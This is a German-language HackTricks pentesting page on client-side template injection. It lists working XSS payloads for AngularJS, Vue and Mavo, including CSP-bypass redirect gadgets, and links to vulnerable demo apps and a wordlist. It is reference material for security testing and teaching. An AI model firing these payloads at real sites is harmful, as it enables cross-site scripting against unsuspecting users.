hacktricks/src/pentesting-web/client-side-template-injection-csti.md

79 lines
4.7 KiB
Markdown

# Client Side Template Injection (CSTI)
{{#include ../banners/hacktricks-training.md}}
## Zusammenfassung
Es ist wie eine [**Server Side Template Injection**](ssti-server-side-template-injection/index.html), aber im **Client**. Die **SSTI** kann es Ihnen ermöglichen, **Code** auf dem Remote-Server auszuführen, die **CSTI** könnte es Ihnen ermöglichen, **willkürlichen JavaScript**-Code im Browser des Opfers auszuführen.
**Tests** auf diese Schwachstelle sind sehr **ähnlich** wie im Fall von **SSTI**, der Interpreter erwartet **eine Vorlage** und wird sie ausführen. Zum Beispiel, mit einem Payload wie `{{ 7-7 }}`, wenn die App **anfällig** ist, sehen Sie eine `0`, und wenn nicht, sehen Sie das Original: `{{ 7-7 }}`
## AngularJS
AngularJS ist ein weit verbreitetes JavaScript-Framework, das über Attribute, die als Direktiven bekannt sind, mit HTML interagiert, wobei eine bemerkenswerte **`ng-app`** ist. Diese Direktive ermöglicht es AngularJS, den HTML-Inhalt zu verarbeiten, wodurch die Ausführung von JavaScript-Ausdrücken innerhalb von doppelten geschweiften Klammern ermöglicht wird.
In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit `ng-app` gekennzeichnet ist, ist es möglich, willkürlichen JavaScript-Code auszuführen. Dies kann erreicht werden, indem die Syntax von AngularJS innerhalb der Eingabe genutzt wird. Nachfolgend sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Sie können ein sehr **einfaches Online-Beispiel** der Verwundbarkeit in **AngularJS** unter [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) und in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) finden.
> [!CAUTION] > [**Angular 1.6 hat den Sandbox entfernt**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), sodass ab dieser Version ein Payload wie `{{constructor.constructor('alert(1)')()}}` oder `<input ng-focus=$event.view.alert('XSS')>` funktionieren sollte.
## VueJS
Sie können eine **verwundbare Vue**-Implementierung unter [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) finden.\
Funktionierender Payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
Und der **Quellcode** des verwundbaren Beispiels hier: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
Ein wirklich guter Beitrag zu CSTI in VUE ist zu finden unter [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**Weitere VUE-Payloads finden Sie unter** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## Mavo
Payload:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Weitere Payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **Brute-Force Erkennungsliste**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}